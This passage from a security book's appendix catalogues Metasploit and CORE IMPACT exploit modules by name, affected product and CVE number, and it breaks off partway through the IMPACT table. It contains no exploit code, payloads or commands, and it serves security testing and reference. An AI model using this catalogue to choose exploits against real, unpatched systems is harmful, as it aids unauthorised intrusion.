- CCC Camp (http://www.ccc.de/camp/)
- ToorCon (http://www.toorcon.org)
- HITB (http://www.hackinthebox.org)
APPENDIX C

Exploit Framework Modules

The Metasploit Framework (MSF), CORE IMPACT, and Immunity CANVAS, along with the GLEG and Argeniss exploit packs, support a large number of issues (remote and locally exploitable vulnerabilities, along with DoS conditions). Along with exploit modules, these frameworks also contain auxiliary modules to perform brute-force password grinding and other attacks. I have assembled the current listings of exploit modules supported within these frameworks and add-on packs in this appendix.

MSF

Table C-1 lists exploit modules within MSF at the time of this writing.

Table C-1. MSF exploit modules

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>3cdaemon_ftp_user</td>
<td>3Com 3CDaemon 2.0 FTP username overflow</td>
<td>CVE-2005-0277</td>
</tr>
<tr>
<td>aim_goaway</td>
<td>AOL Instant Messenger goaway overflow</td>
<td>CVE-2004-0636</td>
</tr>
<tr>
<td>aim_triton_cseq</td>
<td>AIM Triton 1.0.4 CSeq overflow</td>
<td>CVE-2006-3524</td>
</tr>
<tr>
<td>altin_webadmin</td>
<td>Alt-N WebAdmin username overflow</td>
<td>CVE-2003-0471</td>
</tr>
<tr>
<td>ani_loadimage_chunksiz</td>
<td>Windows ANI LoadAniIcon() chunk size overflow</td>
<td>CVE-2007-0038</td>
</tr>
<tr>
<td>apache_chunked</td>
<td>Apache Win32 Chunked-Encoding overflow</td>
<td>CVE-2002-0392</td>
</tr>
<tr>
<td>apache_modjk_overflow</td>
<td>Apache mod_jk 1.2.20 overflow</td>
<td>CVE-2007-0774</td>
</tr>
<tr>
<td>apple_itunes_playlist</td>
<td>Apple iTunes 4.7 playlist overflow</td>
<td>CVE-2005-0043</td>
</tr>
<tr>
<td>apple_quicktime_rtsps</td>
<td>Apple QuickTime 7.1.3 RTSP URI overflow</td>
<td>CVE-2007-0015</td>
</tr>
<tr>
<td>awstats_configdir_exec</td>
<td>AWSStats confdir remote command execution</td>
<td>CVE-2005-0116</td>
</tr>
<tr>
<td>badblue_ext_overflow</td>
<td>BadBlue 2.5 EXT.dll overflow</td>
<td>CVE-2005-0595</td>
</tr>
<tr>
<td>bakkbone_netvault_heap</td>
<td>BakBone NetVault heap overflow</td>
<td>CVE-2005-1547</td>
</tr>
<tr>
<td>barracuda_img_exec</td>
<td>Barracuda IMG.PL remote command execution</td>
<td>CVE-2005-2847</td>
</tr>
<tr>
<td>bearshare_setformatlikesample</td>
<td>BearShare 6 ActiveX Control buffer overflow</td>
<td>CVE-2007-0018</td>
</tr>
</tbody>
</table>
Table C-1. MSF exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>blackice_pam_icq</td>
<td>ISS BlackICE ICQ parser overflow</td>
<td>CVE-2004-0362</td>
</tr>
<tr>
<td>bluecoat_winproxy_host</td>
<td>Blue Coat WinProxy Host header overflow</td>
<td>CVE-2005-4085</td>
</tr>
<tr>
<td>bomberclone_overflow</td>
<td>Bomberclone 0.11.6 overflow</td>
<td>CVE-2006-0460</td>
</tr>
<tr>
<td>borland_interbase</td>
<td>Borland Interbase Create-Request overflow</td>
<td>CVE-2007-3566</td>
</tr>
<tr>
<td>broadcom_wifi_ssid</td>
<td>Broadcom wireless driver SSID overflow</td>
<td>CVE-2006-5882</td>
</tr>
<tr>
<td>cacti_graphimage_exec</td>
<td>Cacti graph_image.php remote command execution</td>
<td>CVE-2005-2148</td>
</tr>
<tr>
<td>cam_log_security</td>
<td>CA CAM log_security( ) stack overflow</td>
<td>CVE-2005-2668</td>
</tr>
<tr>
<td>cesarftp_mkd</td>
<td>Cesar FTP 0.99g MKD command overflow</td>
<td>CVE-2006-2961</td>
</tr>
<tr>
<td>cleanup_exec</td>
<td>HP-UX LPD command execution</td>
<td>CVE-2005-3277</td>
</tr>
<tr>
<td>describe</td>
<td>RealServer Describe overflow</td>
<td>CVE-2002-1643</td>
</tr>
<tr>
<td>discovery_tcp</td>
<td>CA BrightStor Discovery Service overflow</td>
<td>CVE-2005-2535</td>
</tr>
<tr>
<td>discovery_udp</td>
<td>CA BrightStor Discovery Service overflow</td>
<td>CVE-2005-2535</td>
</tr>
<tr>
<td>distcc_exec</td>
<td>DistCC daemon command execution</td>
<td>CVE-2004-2687</td>
</tr>
<tr>
<td>dlink_wifi_rates</td>
<td>D-Link DWL-G132 wireless driver overflow</td>
<td>CVE-2006-6055</td>
</tr>
<tr>
<td>easylfilesharing_pass</td>
<td>Easy File Sharing FTP Server 2.0 PASS overflow</td>
<td>CVE-2006-3952</td>
</tr>
<tr>
<td>edirectory_host</td>
<td>Novell eDirectory NDS Server Host header overflow</td>
<td>CVE-2006-5478</td>
</tr>
<tr>
<td>edirectory_imonitor</td>
<td>Novell eDirectory 8.7.3 iMonitor overflow</td>
<td>CVE-2005-2551</td>
</tr>
<tr>
<td>eiqnetworks_esa</td>
<td>eIQNetworks ESA License Manager LICMGR_ADDLICENSE overflow</td>
<td>CVE-2006-3838</td>
</tr>
<tr>
<td>eiqnetworks_esa_topology</td>
<td>eIQNetworks ESA Topology DELETEDDEVICE overflow</td>
<td>CVE-2006-3838</td>
</tr>
<tr>
<td>enjoysapgui_preparetoposthtml</td>
<td>EnjoySAP SAP GUI ActiveX Control buffer overflow</td>
<td>CVE-2007-3605</td>
</tr>
<tr>
<td>eudora_list</td>
<td>Qualcomm WorldMail 3.0 IMAP LIST command overflow</td>
<td>CVE-2005-4267</td>
</tr>
<tr>
<td>firefox_queryinterface</td>
<td>Mozilla Firefox QueryInterface( ) code execution</td>
<td>CVE-2006-0295</td>
</tr>
<tr>
<td>fp30reg_chunked</td>
<td>Microsoft IIS IAPI FrontPage fp30reg.dll chunked overflow</td>
<td>CVE-2003-0822</td>
</tr>
<tr>
<td>freeftpd_key_exchange</td>
<td>FreeFTPd 1.0.10 key exchange overflow</td>
<td>CVE-2006-2407</td>
</tr>
<tr>
<td>freeftpd_user</td>
<td>FreeFTPd 1.0 USER command overflow</td>
<td>CVE-2005-3683</td>
</tr>
<tr>
<td>freesshd_key_exchange</td>
<td>FreeSSHd 1.0.9 key exchange overflow</td>
<td>CVE-2006-2407</td>
</tr>
<tr>
<td>fuser</td>
<td>Solaris in.telnetd remote authentication bypass</td>
<td>CVE-2007-0882</td>
</tr>
<tr>
<td>futuresoft_transfermode</td>
<td>FutureSoft TFTP Server 2000 overflow</td>
<td>CVE-2005-1812</td>
</tr>
<tr>
<td>gamsoft_telsrv_username</td>
<td>GAMSoft TelSrv 1.5 username overflow</td>
<td>CVE-2000-0665</td>
</tr>
<tr>
<td>globalscapeftp_input</td>
<td>GlobalSCAPE Secure FTP Server overflow</td>
<td>CVE-2005-1415</td>
</tr>
<tr>
<td>goodtech_telnet</td>
<td>GoodTech Telnet Server 5.0.6 overflow</td>
<td>CVE-2005-0768</td>
</tr>
<tr>
<td>google_proxystylesheet_exec</td>
<td>Google Appliance ProxyStyleSheet command execution</td>
<td>CVE-2005-3757</td>
</tr>
<tr>
<td>heap_noir</td>
<td>Solaris dspscd heap overflow</td>
<td>CVE-2001-0803</td>
</tr>
<tr>
<td>hpmqctel_list</td>
<td>HP Mercury Quality Center ActiveX Control overflow</td>
<td>CVE-2007-1819</td>
</tr>
<tr>
<td>hp_ovtrace</td>
<td>HP OpenView Operations OVTrace overflow</td>
<td>CVE-2007-1676</td>
</tr>
</tbody>
</table>
### Table C-1. MSF exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>hummingbird_exceed</td>
<td>Hummingbird Connectivity 10 SP5 LPD overflow</td>
<td>CVE-2005-1815</td>
</tr>
<tr>
<td>ia_webmail</td>
<td>IA WebMail 3.x overflow</td>
<td>CVE-2003-1192</td>
</tr>
<tr>
<td>ibm_tpmfosd_overflow</td>
<td>IBM TPM for OS Deployment 5.1 rembo.exe overflow</td>
<td>CVE-2007-1868</td>
</tr>
<tr>
<td>icecast_header</td>
<td>Icecast 2.0.1 header overflow</td>
<td>CVE-2004-1561</td>
</tr>
<tr>
<td>ie_createobject</td>
<td>Internet Explorer COM CreateObject code execution</td>
<td>CVE-2006-0003</td>
</tr>
<tr>
<td>ie_iscomponentinstalled</td>
<td>Internet Explorer isComponentInstalled overflow</td>
<td>CVE-2006-1016</td>
</tr>
<tr>
<td>imail_delete</td>
<td>Ipswitch IMail IMAP4 DELETE command overflow</td>
<td>CVE-2004-1520</td>
</tr>
<tr>
<td>imail_thc</td>
<td>Ipswitch IMail LDAP service overflow</td>
<td>CVE-2004-0297</td>
</tr>
<tr>
<td>interbase_create</td>
<td>Borland Interbase 2007 Create Request overflow</td>
<td>CVE-2007-3566</td>
</tr>
<tr>
<td>ipswitch_search</td>
<td>Ipswitch IMail IMAP SEARCH command overflow</td>
<td>CVE-2007-3926</td>
</tr>
<tr>
<td>ipswitch_wug_maincfgret</td>
<td>Ipswitch WhatsUp Gold 8.03 overflow</td>
<td>CVE-2004-0798</td>
</tr>
<tr>
<td>kerio_auth</td>
<td>Kerio Firewall 2.1.4 authentication overflow</td>
<td>CVE-2003-0220</td>
</tr>
<tr>
<td>landesk_aolnsrvr</td>
<td>LANDesk Management Suite 8.7 Alert Service overflow</td>
<td>CVE-2007-1674</td>
</tr>
<tr>
<td>lgserver</td>
<td>CA BrightStor ARCserve LGServer overflow</td>
<td>CVE-2007-0449</td>
</tr>
<tr>
<td>loginext</td>
<td>AppleFileServer LoginExt PathName overflow</td>
<td>CVE-2004-0430</td>
</tr>
<tr>
<td>logitechvideocall_start</td>
<td>Logitech VideoCall ActiveX Control overflow</td>
<td>CVE-2007-2918</td>
</tr>
<tr>
<td>lsa_transnames_heap</td>
<td>Samba lsa_jo_trans_names heap overflow</td>
<td>CVE-2007-2446</td>
</tr>
<tr>
<td>madwifi_giwscan_cb</td>
<td>Madwifi SIOCGIWSCAN overflow</td>
<td>CVE-2006-6332</td>
</tr>
<tr>
<td>mailenable_auth_header</td>
<td>MailEnable Authorization header overflow</td>
<td>CVE-2005-1348</td>
</tr>
<tr>
<td>mailenable_login</td>
<td>MailEnable IMAP (2.35) LOGIN command overflow</td>
<td>CVE-2006-6423</td>
</tr>
<tr>
<td>mailenable_status</td>
<td>MailEnable IMAP (1.54) STATUS command overflow</td>
<td>CVE-2005-2278</td>
</tr>
<tr>
<td>mailenable_w3c_select</td>
<td>MailEnable IMAP W3C logging overflow</td>
<td>CVE-2005-3155</td>
</tr>
<tr>
<td>maxdb_webdbm_database</td>
<td>MaxDB WebDBM database parameter overflow</td>
<td>CVE-2006-4305</td>
</tr>
<tr>
<td>maxdb_webdbm_get_overflow</td>
<td>MaxDB WebDBM GET request overflow</td>
<td>CVE-2005-0684</td>
</tr>
<tr>
<td>mcafee_mcsbrmgr_vscriptf</td>
<td>McAfee Subscription Manager stack overflow</td>
<td>CVE-2006-3961</td>
</tr>
<tr>
<td>mcafeevisualtrace_tracetarget</td>
<td>McAfee Visual Trace ActiveX Control overflow</td>
<td>CVE-2006-6707</td>
</tr>
<tr>
<td>mdaemon_cram_md5</td>
<td>Mdaemon 8.0.3 IMAP CRAM-MD5 command overflow</td>
<td>CVE-2004-1520</td>
</tr>
<tr>
<td>mediasrv_sunrpc</td>
<td>CA BrightStor ArcServe Media Service overflow</td>
<td>CVE-2007-2139</td>
</tr>
<tr>
<td>mercantec_softcart</td>
<td>Mercantec SoftCart 4.00b CGI overflow</td>
<td>CVE-2004-2221</td>
</tr>
<tr>
<td>mercur_imp_select_overflow</td>
<td>Mercur 5.0 SP3 IMAP SELECT command overflow</td>
<td>CVE-2006-1255</td>
</tr>
<tr>
<td>mercur_login</td>
<td>Mercur 5.0 SP3 IMAP LOGIN command overflow</td>
<td>CVE-2006-1255</td>
</tr>
<tr>
<td>mercury_login</td>
<td>Mercury32 4.01b LOGIN command overflow</td>
<td>CVE-2007-1373</td>
</tr>
<tr>
<td>mercury_phonebook</td>
<td>Mercury32 4.01b PH Server Module overflow</td>
<td>CVE-2005-4411</td>
</tr>
<tr>
<td>mercury_rename</td>
<td>Mercury32 4.01a IMAP RENAME command overflow</td>
<td>CVE-2004-1211</td>
</tr>
<tr>
<td>message_engine_heap</td>
<td>CA BrightStor ARCserve Message Engine heap overflow</td>
<td>CVE-2006-5143</td>
</tr>
<tr>
<td>message_engine</td>
<td>CA BrightStor ARCserve Message Engine overflow</td>
<td>CVE-2007-0169</td>
</tr>
</tbody>
</table>
Table C-1. MSF exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>minishare_get_overflow</td>
<td>Minishare 1.4.1 overflow</td>
<td>CVE-2004-2271</td>
</tr>
<tr>
<td>mirc_irc_url</td>
<td>mIRC IRC URL overflow</td>
<td>CVE-2003-1336</td>
</tr>
<tr>
<td>mozilla_compareto</td>
<td>Mozilla Suite/Firefox InstallVersion-&gt;compareTo( ) code execution</td>
<td>CVE-2005-2265</td>
</tr>
<tr>
<td>mozilla_navigatorjava</td>
<td>Mozilla Suite/Firefox Navigator Object code execution</td>
<td>CVE-2006-3677</td>
</tr>
<tr>
<td>ms01_023_printer</td>
<td>Microsoft IIS 5.0 IPP Host header overflow</td>
<td>CVE-2001-0241</td>
</tr>
<tr>
<td>ms01_033_idq</td>
<td>Microsoft IIS 5.0 IDQ path overflow</td>
<td>CVE-2001-0500</td>
</tr>
<tr>
<td>ms02_018’htr</td>
<td>Microsoft IIS 4.0 HTR path overflow</td>
<td>CVE-1999-0874</td>
</tr>
<tr>
<td>ms02_039_slammer</td>
<td>Microsoft SQL Server Resolution overflow</td>
<td>CVE-2002-0649</td>
</tr>
<tr>
<td>ms02_056_hello</td>
<td>Microsoft SQL Server Hello overflow</td>
<td>CVE-2002-1123</td>
</tr>
<tr>
<td>ms03_007_ntdll_webdav</td>
<td>Microsoft IIS 5.0 WebDAV ntdll.dll overflow</td>
<td>CVE-2003-0109</td>
</tr>
<tr>
<td>ms03_020_ie_objecttype</td>
<td>MS03-020 Internet Explorer Object Type bug</td>
<td>CVE-2003-0344</td>
</tr>
<tr>
<td>ms03_026_dcom</td>
<td>Microsoft RPC DCOM interface overflow</td>
<td>CVE-2003-0352</td>
</tr>
<tr>
<td>ms03_049_netapi</td>
<td>Microsoft Workstation Service overflow</td>
<td>CVE-2003-082</td>
</tr>
<tr>
<td>ms04_007_killbill</td>
<td>Microsoft ASN.1 bitstring overflow</td>
<td>CVE-2003-0818</td>
</tr>
<tr>
<td>ms04_011_lsass</td>
<td>Microsoft LSASS service overflow</td>
<td>CVE-2003-0533</td>
</tr>
<tr>
<td>ms04_011_pct</td>
<td>Microsoft SSL PCT overflow</td>
<td>CVE-2003-0719</td>
</tr>
<tr>
<td>ms04_031_netdde</td>
<td>Microsoft NetDDE service overflow</td>
<td>CVE-2004-0206</td>
</tr>
<tr>
<td>ms04_045Wins</td>
<td>Microsoft WINS service overflow</td>
<td>CVE-2004-1080</td>
</tr>
<tr>
<td>ms05_017_msmq</td>
<td>Microsoft Message Queueing Service path overflow</td>
<td>CVE-2005-0059</td>
</tr>
<tr>
<td>ms05_030_nttp</td>
<td>Microsoft Outlook Express NNTP response parsing overflow</td>
<td>CVE-2005-1213</td>
</tr>
<tr>
<td>ms05_039_pnp</td>
<td>Microsoft Plug and Play service overflow</td>
<td>CVE-2005-1983</td>
</tr>
<tr>
<td>ms06_001_wmf_setabortproc</td>
<td>WMF SetAbortProc code execution</td>
<td>CVE-2005-4560</td>
</tr>
<tr>
<td>ms06_013_createtextrange</td>
<td>Internet Explorer createTextRange( ) code execution</td>
<td>CVE-2006-1359</td>
</tr>
<tr>
<td>ms06_025_rasmans_reg</td>
<td>Microsoft RASMAN registry overflow</td>
<td>CVE-2006-2370</td>
</tr>
<tr>
<td>ms06_025_ras</td>
<td>Microsoft RRAS service overflow</td>
<td>CVE-2006-2370</td>
</tr>
<tr>
<td>ms06_040_netapi</td>
<td>Microsoft Server service overflow</td>
<td>CVE-2006-3439</td>
</tr>
<tr>
<td>ms06_055_vml_method</td>
<td>Internet Explorer VML Fill Method code execution</td>
<td>CVE-2006-4868</td>
</tr>
<tr>
<td>ms06_057_webview_setslice</td>
<td>Internet Explorer setSlice( ) overflow</td>
<td>CVE-2006-3730</td>
</tr>
<tr>
<td>ms06_066_nwapi</td>
<td>Microsoft Client Service for Netware overflow</td>
<td>CVE-2006-4688</td>
</tr>
<tr>
<td>ms06_066_nwwks</td>
<td>Microsoft Client Service for Netware overflow</td>
<td>CVE-2006-4688</td>
</tr>
<tr>
<td>ms06_067_keyframe</td>
<td>Internet Explorer Daxctle.OCX KeyFrame Method heap overflow</td>
<td>CVE-2006-4777</td>
</tr>
<tr>
<td>msdns_zonename</td>
<td>Microsoft DNS server RPC overflow</td>
<td>CVE-2007-1748</td>
</tr>
<tr>
<td>name_service</td>
<td>Veritas Backup Exec Name Service overflow</td>
<td>CVE-2004-1172</td>
</tr>
<tr>
<td>navicopa_get_overflow</td>
<td>NaviCOPA 2.0.1 URL handling overflow</td>
<td>CVE-2006-5112</td>
</tr>
<tr>
<td>netgear_wg111_beacon</td>
<td>NetGear WG111v2 wireless driver overflow</td>
<td>CVE-2006-5972</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Reference</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>--------------------------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>netterm_netftp_user</td>
<td>NetTerm NetFTPD USER command overflow</td>
<td>CVE-2005-1323</td>
</tr>
<tr>
<td>niprint</td>
<td>NIPrint LPD overflow</td>
<td>CVE-2003-1141</td>
</tr>
<tr>
<td>nis2004_get</td>
<td>Symantec Norton Internet Security 2004 ActiveX Control overflow</td>
<td>CVE-2007-1689</td>
</tr>
<tr>
<td>nmap_stor</td>
<td>Novell NetMail 3.52d NMAP STOR command overflow</td>
<td>CVE-2006-6424</td>
</tr>
<tr>
<td>novell_messenger_acceptlang</td>
<td>Novell Messenger Server 2.0 Accept-Language overflow</td>
<td>CVE-2006-0992</td>
</tr>
<tr>
<td>novell_netmail_append</td>
<td>Novell NetMail 3.52d IMAP APPEND command overflow</td>
<td>CVE-2006-6425</td>
</tr>
<tr>
<td>novell_netmail_auth</td>
<td>Novell NetMail 3.52d IMAP AUTHENTICATE command overflow</td>
<td>CVE-2006-5478</td>
</tr>
<tr>
<td>novell_netmail_status</td>
<td>Novell NetMail 3.52d IMAP STATUS command overflow</td>
<td>CVE-2005-3314</td>
</tr>
<tr>
<td>novell_netmail_subscribe</td>
<td>Novell NetMail 3.52d IMAP SUBSCRIBE command overflow</td>
<td>CVE-2006-6761</td>
</tr>
<tr>
<td>nsiislog_post</td>
<td>Microsoft IIS ISAPI nsiislog.dll overflow</td>
<td>CVE-2003-0349</td>
</tr>
<tr>
<td>ntrrans</td>
<td>Samba ntrrans overflow</td>
<td>CVE-2003-0085</td>
</tr>
<tr>
<td>openview_connectednodes_exec</td>
<td>HP Openview connectedNodes.ovpl command execution</td>
<td>CVE-2005-2773</td>
</tr>
<tr>
<td>openview_omniback_exec</td>
<td>HP OpenView Omniback II command execution</td>
<td>CVE-2001-0311</td>
</tr>
<tr>
<td>oracle9i_xdb_frt_pass</td>
<td>Oracle 9i XDB FTP PASS command overflow</td>
<td>CVE-2003-0727</td>
</tr>
<tr>
<td>oracle9i_xdb_ftp_unlock</td>
<td>Oracle 9i XDB FTP UNLOCK command overflow</td>
<td>CVE-2003-0727</td>
</tr>
<tr>
<td>oracle9i_xdb_pass</td>
<td>Oracle 9i XDB HTTP overflow</td>
<td>CVE-2003-0727</td>
</tr>
<tr>
<td>pajax_remote_exec</td>
<td>PAJAX 0.5.1 command execution</td>
<td>CVE-2006-1551</td>
</tr>
<tr>
<td>peercast_url</td>
<td>PeerCast 0.1216 URL handling overflow</td>
<td>CVE-2006-1148</td>
</tr>
<tr>
<td>php_unserialize_zval_cookie</td>
<td>PHP 4 unserialize() ZVAL reference counter overflow</td>
<td>CVE-2007-1286</td>
</tr>
<tr>
<td>php_vbulletin_template</td>
<td>vBulletin misc.php Template Name arbitrary code execution</td>
<td>CVE-2005-0511</td>
</tr>
<tr>
<td>php_wordpress_lastpost</td>
<td>WordPress cache_lastpostdate arbitrary code execution</td>
<td>CVE-2005-2612</td>
</tr>
<tr>
<td>php_xmlrpc_eval</td>
<td>PHP XML-RPC arbitrary code execution</td>
<td>CVE-2005-1921</td>
</tr>
<tr>
<td>poftop_negative_read</td>
<td>PoToP PPTP server negative read overflow</td>
<td>CVE-2003-0213</td>
</tr>
<tr>
<td>privatewire_gateway</td>
<td>PrivateWire Gateway overflow</td>
<td>CVE-2006-3252</td>
</tr>
<tr>
<td>proxypro_http_get</td>
<td>Proxy-Pro Professional GateKeeper 4.7 GET overflow</td>
<td>CVE-2004-0326</td>
</tr>
<tr>
<td>putty_msg_debug</td>
<td>PuTTY 0.53 SSH client overflow</td>
<td>CVE-2002-1359</td>
</tr>
<tr>
<td>qtjava_pointer</td>
<td>Apple QTJava toQTPointer() arbitrary memory access</td>
<td>CVE-2007-2175</td>
</tr>
<tr>
<td>realplayer_smil</td>
<td>RealNetworks RealPlayer SMLI overflow</td>
<td>CVE-2005-0455</td>
</tr>
<tr>
<td>realnvc_client</td>
<td>RealNVC 3.3.7 client overflow</td>
<td>CVE-2001-0167</td>
</tr>
<tr>
<td>remote_agent</td>
<td>Veritas Backup Exec Windows Remote Agent overflow</td>
<td>CVE-2005-0773</td>
</tr>
<tr>
<td>rsa_webagent_redirect</td>
<td>Microsoft IIS ISAPI RSA WebAgent Redirect overflow</td>
<td>CVE-2005-4734</td>
</tr>
<tr>
<td>safari_metadata_archive</td>
<td>Safari archive metadata command execution</td>
<td>CVE-2006-0848</td>
</tr>
<tr>
<td>sapdb_webtools</td>
<td>SAP DB 7.4 WebTools GET request overflow</td>
<td>CVE-2007-3614</td>
</tr>
<tr>
<td>seattlelab_pass</td>
<td>Seattle Lab Mail 5.5 POP3 password overflow</td>
<td>CVE-2003-0264</td>
</tr>
<tr>
<td>securect_ssh1</td>
<td>SecureCRT 4.0 Beta 2 SSH1 client overflow</td>
<td>CVE-2002-1059</td>
</tr>
</tbody>
</table>
### Table C-1. MSF exploit modules (continued)

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>sendmail_exec</code></td>
<td>Solaris LPD command execution</td>
<td>CVE-2001-1583</td>
</tr>
<tr>
<td><code>sentinel_lm7_udp</code></td>
<td>SentinelLM UDP buffer overflow</td>
<td>CVE-2005-0353</td>
</tr>
<tr>
<td><code>servu_mdmt</code></td>
<td>Serv-U FTPD MDTM command overflow</td>
<td>CVE-2004-0330</td>
</tr>
<tr>
<td><code>shixxnote_font</code></td>
<td>ShixxNOTE 6.net font field overflow</td>
<td>CVE-2004-1595</td>
</tr>
<tr>
<td><code>shoutcast_format</code></td>
<td>SHOUTcast DNS/win32 1.9.4 format string overflow</td>
<td>CVE-2004-1373</td>
</tr>
<tr>
<td><code>shttpd_post</code></td>
<td>SHTTPD 1.34 URI-Encoded POST overflow</td>
<td>CVE-2006-5216</td>
</tr>
<tr>
<td><code>sipxezphone_cseq</code></td>
<td>SIPFoundry sipXezPhone 0.35a CSeq overflow</td>
<td>CVE-2006-3524</td>
</tr>
<tr>
<td><code>sipxphone_cseq</code></td>
<td>SIPFoundry sipXphone 2.6.0.27 CSeq overflow</td>
<td>CVE-2006-3524</td>
</tr>
<tr>
<td><code>slimftpd_list_concat</code></td>
<td>SlimFTPD LIST concatenation overflow</td>
<td>CVE-2005-2373</td>
</tr>
<tr>
<td><code>smbrelay</code></td>
<td>Microsoft Windows SMB relay code execution</td>
<td>N/A</td>
</tr>
<tr>
<td><code>snortbopre</code></td>
<td>Snort 2.4.2 Back Orifice preprocessor exploit</td>
<td>CVE-2005-3252</td>
</tr>
<tr>
<td><code>solaris_sadmind_exec</code></td>
<td>Solaris sadmind command execution</td>
<td>CVE-2003-0722</td>
</tr>
<tr>
<td><code>sql_agent</code></td>
<td>CA BrightStor Agent for Microsoft SQL overflow</td>
<td>CVE-2005-1272</td>
</tr>
<tr>
<td><code>squid_ntlm_authenticate</code></td>
<td>Squid NTLM Authenticate overflow</td>
<td>CVE-2004-0541</td>
</tr>
<tr>
<td><code>squirrelmail_pgp_plugin</code></td>
<td>SquirrelMail PGP plug-in command execution</td>
<td>CVE-2007-3778</td>
</tr>
<tr>
<td><code>svnserve_date</code></td>
<td>Subversion date parsing overflow</td>
<td>CVE-2004-0397</td>
</tr>
<tr>
<td><code>sybase_easerver</code></td>
<td>Sybase EAServer 5.2 overflow</td>
<td>CVE-2005-2297</td>
</tr>
<tr>
<td><code>symantec_rtvscan</code></td>
<td>Symantec Remote Management overflow</td>
<td>CVE-2006-2630</td>
</tr>
<tr>
<td><code>tagprinter_exec</code></td>
<td>IRIX LPD tagprinter command execution</td>
<td>CVE-2001-0800</td>
</tr>
<tr>
<td><code>tape_engine</code></td>
<td>CA BrightStor ARCserve Tape Engine overflow</td>
<td>CVE-2006-6076</td>
</tr>
<tr>
<td><code>tftpd32_long_filename</code></td>
<td>TFTP32 2.2.1 long filename overflow</td>
<td>CVE-2002-2226</td>
</tr>
<tr>
<td><code>threectfpsvc_long_mode</code></td>
<td>3CTftpSvc TFTP long mode overflow</td>
<td>CVE-2006-6183</td>
</tr>
<tr>
<td><code>tiny_identid_overflow</code></td>
<td>TinyIdentID 2.2 stack overflow</td>
<td>CVE-2007-2711</td>
</tr>
<tr>
<td><code>trackercam_phparg_overflow</code></td>
<td>TrackerCam PHP argument overflow</td>
<td>CVE-2005-0478</td>
</tr>
<tr>
<td><code>trans2open</code></td>
<td>Samba trans2open overflow</td>
<td>CVE-2003-0201</td>
</tr>
<tr>
<td><code>trendmicro_serverprotect_earth-agent</code></td>
<td>Trend Micro ServerProtect 5.58 EarthAgent overflow</td>
<td>CVE-2007-2508</td>
</tr>
<tr>
<td><code>trendmicro_serverprotect</code></td>
<td>Trend Micro ServerProtect 5.58 overflow</td>
<td>CVE-2007-1070</td>
</tr>
<tr>
<td><code>ttyprompt</code></td>
<td>Solaris in.telnetd TTYPROMPT overflow</td>
<td>CVE-2001-0797</td>
</tr>
<tr>
<td><code>type77</code></td>
<td>Arkeia Backup Client Type 77 overflow</td>
<td>CVE-2005-0491</td>
</tr>
<tr>
<td><code>ultravnc_client</code></td>
<td>UltraVNC 1.0.1 client overflow</td>
<td>CVE-2006-1652</td>
</tr>
<tr>
<td><code>universal_agent</code></td>
<td>CA BrightStor Universal Agent overflow</td>
<td>CVE-2005-1018</td>
</tr>
<tr>
<td><code>ut2004_secure</code></td>
<td>Unreal Tournament 2004 (secure) stack overflow</td>
<td>CVE-2004-0608</td>
</tr>
<tr>
<td><code>w3who_query</code></td>
<td>Microsoft IIS ISAPI w3who.dll query string overflow</td>
<td>CVE-2004-1134</td>
</tr>
<tr>
<td><code>warftpd_165_pass</code></td>
<td>War-FTPD 1.65 PASS command overflow</td>
<td>CVE-1999-0256</td>
</tr>
<tr>
<td><code>warftpd_165_user</code></td>
<td>War-FTPD 1.65 USER command overflow</td>
<td>CVE-1999-0256</td>
</tr>
</tbody>
</table>
Tables C-2, C-3, and C-4 list remote, local, and client-side exploit modules, respectively, within IMPACT at the time of this writing.

**Table C-2. Remote IMPACT exploit modules**

<table>
<thead>
<tr>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>AnswerBook2 server format string exploit</td>
<td>CVE-1999-1417</td>
</tr>
<tr>
<td>Apache - OpenSSL ASN.1 deallocation exploit</td>
<td>CVE-2003-0545</td>
</tr>
<tr>
<td>Apache - OpenSSL SSLv2 exploit</td>
<td>CVE-2002-0656</td>
</tr>
<tr>
<td>Apache chunked encoding exploit</td>
<td>CVE-2002-0392</td>
</tr>
<tr>
<td>Apache mod_php exploit</td>
<td>CVE-2002-0081</td>
</tr>
<tr>
<td>Apache Tomcat buffer overflow exploit</td>
<td>CVE-2007-0774</td>
</tr>
<tr>
<td>Arkeia Network Backup buffer overflow exploit</td>
<td>CVE-2005-0491</td>
</tr>
<tr>
<td>Arkeia Network Backup buffer overflow exploit</td>
<td>CVE-2005-0496</td>
</tr>
<tr>
<td>Asterisk T.38 buffer overflow exploit</td>
<td>CVE-2007-2293</td>
</tr>
<tr>
<td>Microsoft ASN.1 SPNEGO bitstring exploit</td>
<td>CVE-2003-0818</td>
</tr>
<tr>
<td>BIND NXT exploit</td>
<td>CVE-1999-0833</td>
</tr>
<tr>
<td>BlackICE ICQ ISS-PAM1 exploit</td>
<td>CVE-2004-0362</td>
</tr>
<tr>
<td>Blue Coat Systems WinProxy exploit</td>
<td>CVE-2005-4085</td>
</tr>
<tr>
<td>Borland InterBase remote buffer overflow exploit</td>
<td>CVE-2007-3566</td>
</tr>
<tr>
<td>BSD FTP glob overflow exploit</td>
<td>CVE-2001-0247</td>
</tr>
<tr>
<td>CA BrightStor ARCserve Backup Discovery Service exploit</td>
<td>CVE-2006-5143</td>
</tr>
<tr>
<td>CA BrightStor ARCserve Backup Media Server exploit</td>
<td>CVE-2007-1785</td>
</tr>
<tr>
<td>Name</td>
<td>Reference</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>CA BrightStor ARCServe Backup SQL agent exploit</td>
<td>CVE-2005-1272</td>
</tr>
<tr>
<td>CA BrightStor Tape Engine buffer overflow exploit</td>
<td>CVE-2007-0169</td>
</tr>
<tr>
<td>CA BrightStor Discovery Service exploit</td>
